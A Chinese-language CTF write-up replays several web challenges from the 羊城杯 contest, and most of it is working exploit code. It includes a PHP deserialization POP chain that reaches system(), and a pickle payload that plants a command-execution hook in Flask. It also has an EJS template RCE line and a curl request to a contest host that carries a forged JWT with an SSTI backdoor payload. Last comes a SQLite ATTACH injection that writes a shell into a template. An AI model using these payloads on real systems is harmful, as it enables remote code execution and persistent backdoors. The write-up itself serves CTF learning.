羊城杯 web 复现
文章摘要
Summarizing...
10-13比赛,11-18复现,放到现在感觉能多出几道,不过当时出了一个一血+大半道题感觉还是不错的。
EZ_Unserialize
<?php
class A {
public $first;
public $step;
public $next;
public function __construct() {
$this->first = "继续加油!";
}
public function start() {
echo $this->next;
}
}
class E {
private $you;
public $found;
private $secret = "admin123";
public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
}
class F {
public $fifth;
public $step;
public $finalstep;
public function check() {
if(preg_match("/U/",$this->finalstep)) {
echo "仔细想想!";
}
else {
$this->step = new $this->finalstep();
($this->step)();
}
}
}
class H {
public $who;
public $are;
public $you;
public function __construct() {
$this->you = "nobody";
}
public function __destruct() {
$this->who->start();
}
}
class N {
public $congratulation;
public $yougotit;
public function __call(string $func_name, array $args) {
return call_user_func($func_name,$args[0]);
}
}
class U {
public $almost;
public $there;
public $cmd;
public function __construct() {
$this->there = new N();
$this->cmd = "ls /";
}
public function __invoke() {
return $this->there->system($this->cmd);
}
}
class V {
public $good;
public $keep;
public $dowhat;
public $go;
public function __toString() {
$abc = $this->dowhat;
$this->go->$abc;
return "<br>Win!!!</br>";
}
}
$oa = new A();
$oe = new E();
$of = new F();
$oh = new H();
$on = new N();
$ou = new U();
$ov = new V();
// H -> A -> V -> E -> F -> U -> N
$of->finalstep="u"; // 使用小写 'u' 绕过 preg_match("/U/", ...)
$oe->found=$of;
$ov->dowhat = "secret";
$ov->go=$oe;
$oa->next=$ov;
$oh->who=$oa;
echo urlencode(serialize($oh));
echo "\n";
echo serialize($oh);
echo "\n";
EZ_Blog
\x80\x04\x95 是典型的 pickle 流标志,打反序列化
cbuiltins
eval
(S'app.before_request_funcs.setdefault(None,[]).append(lambda:__import__(\'os\').popen(request.args.get(\'cmd\')).read())'
tR.
Static_Node
https://github.com/nodejs/node/blob/main/lib/path.js#L1332
join(...args) {
if (args.length === 0)
return '.';
const path = [];
for (let i = 0; i < args.length; ++i) {
const arg = args[i];
validateString(arg, 'path');
if (arg.length > 0) {
path.push(arg);
}
}
if (path.length === 0)
return '.';
return posix.normalize(ArrayPrototypeJoin(path, '/'));
},
path.join 的处理逻辑:把所有参数拼接在一起,然后处理成规范的路径

打 ejs 马
<%- global.process.mainModule.require('child_process').execSync('ls / -liah') %>
evil_login
jwt_tool爆破key为admin123
构造ssti rce
curl -X GET http://45.40.247.139:22060/robots\?cmd\=cat+app/app.py \
-H "Cookie: connect.sid=s%3AgBhSN81H4Iw96DydPK25ZELPVzwtptM0.9VBCh9RZ%2FGE8Y3UiWnxs2pvNfrbUSPeOQUUjHsT7I8A; JSESSIONID=6F56BE6AF721ED0B3DC10785D68AD626; auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoie3t1cmxfZm9yLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnZXZhbCddKFwiYXBwLmFmdGVyX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSByZXNwOiBDbWRSZXNwIGlmIHJlcXVlc3QuYXJncy5nZXQoJ2NtZCcpIGFuZCBleGVjKFxcXCJnbG9iYWwgQ21kUmVzcDtDbWRSZXNwPV9faW1wb3J0X18oXFwnZmxhc2tcXCcpLm1ha2VfcmVzcG9uc2UoX19pbXBvcnRfXyhcXCdvc1xcJykucG9wZW4ocmVxdWVzdC5hcmdzLmdldChcXCdjbWRcXCcpKS5yZWFkKCkpXFxcIik9PU5vbmUgZWxzZSByZXNwKVwiLHsncmVxdWVzdCc6dXJsX2Zvci5fX2dsb2JhbHNfX1sncmVxdWVzdCddLCdhcHAnOnVybF9mb3IuX19nbG9iYWxzX19bJ3N5cyddLm1vZHVsZXNbJ19fbWFpbl9fJ10uX19kaWN0X19bJ2FwcCddfSl9fSJ9.jj4N6SzlyVsWZvr1vUQ5ceIPYKFp3uB5rVuPkX56b1s"
from flask import Flask, render_template, request, redirect, url_for, flash, render_template_string
import os
import jwt
from datetime import datetime, timedelta
app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET", "dev_secret_key_change_me")
USERS = {
"admin": {
"password": "admin6666",
"name": "Admin User",
"email": "admin@example.com",
"bio": "我是站点管理员。",
},
"guest": {
"password": "guest1234",
"name": "Guest User",
"email": "guest@example.com",
"bio": "我是访客用户。",
},
}
JWT_SECRET = "admin123"
JWT_ALGORITHM = "HS256"
JWT_EXP_DELTA_SECONDS = 60 * 60
def generate_token(username: str) -> str:
payload = {
"user": username
}
token = jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)
if isinstance(token, bytes):
token = token.decode("utf-8")
return token
def decode_token(token: str):
try:
payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])
return payload
except Exception:
return None
def get_current_user():
token = request.cookies.get("auth_token")
if not token:
return None
payload = decode_token(token)
if not payload:
return None
return payload.get("user")
@app.route("/", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username", "").strip()
password = request.form.get("password", "")
user = USERS.get(username)
if user and user["password"] == password:
token = generate_token(username)
resp = redirect(url_for("profile"))
resp.set_cookie(
"auth_token",
token,
httponly=True,
samesite="Lax",
secure=False,
max_age=JWT_EXP_DELTA_SECONDS,
)
flash("登录成功", "success")
return resp
else:
flash("用户名或密码错误", "danger")
if get_current_user():
return redirect(url_for("profile"))
return render_template("login.html")
@app.context_processor
def inject_user():
return {"current_user": get_current_user()}
@app.route("/profile")
def profile():
username = get_current_user()
if not username:
flash("请先登录", "warning")
return redirect(url_for("login"))
user = USERS.get(username, {})
return render_template("profile.html", username=username, user=user)
@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.set_cookie("auth_token", "", max_age=0)
flash("已退出登录", "info")
return resp
@app.errorhandler(404)
def page_not_found(e):
username = get_current_user()
if not username:
flash("请先登录", "warning")
return redirect(url_for("login"))
template = """
{%% extends "base.html" %%}
{%% block content %%}
<div class="center-content error card">
<h1>Dear %s,</h1>
<h3>That page doesn't exist.</h3>
</div>
{%% endblock %%}
""" % (username)
return render_template_string(template), 404
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
得到低权限shell,提示有mcp服务, ps -aux 发现mcp server为root权限,端口为 9000
MCP Inspector 调试,where_is_the_flag+read_resource 拿到 flag。
Authweb
被人非预期了

EZ_Signin(一血)
- 爆破出帐号密码 Admin:password
- 通过路径穿越下载 ../app.js ../packages.json ../initdb.js ../sqlite.db
- 阅读 app.js 得知 flag 位置,且 SQL 命令直接拼接,可以注入。但是搜索得知 sqlite 无 load_file 之类的方法,只有 ATTACH 方法可以实现写 shell
- 思考方向转向使用 sql 注入写 shell
- 阅读 app.js 代码得知使用 ejs 动态模板渲染,阅读 packages.json 得知 ejs 版本为 3.1.9,搜索得知存在 SSTI 漏洞。再次使用 download 路由下载所有 views 下的模板文件,发现不存在 upload.ejs
- 由于 ATTACH 写 shell 无法写入已存在的文件,所以思路明确:向 upload.ejs 模板写命令执行语
- 改写 CVE-2022-29078 的 exp 注入注册页面后访问 /upload 得到 flag
Payload: iwantflag', '123'); ATTACH DATABASE 'views/upload.ejs' AS pwned; CREATE TABLE pwned.shell (data TEXT); INSERT INTO pwned.shell (data) VALUES ('<pre><% (() => {});return process.mainModule.require("child_process").execSync("cat /fla4444444aaaaaagg.txt").toString() %></pre>'); --+
评论
0 条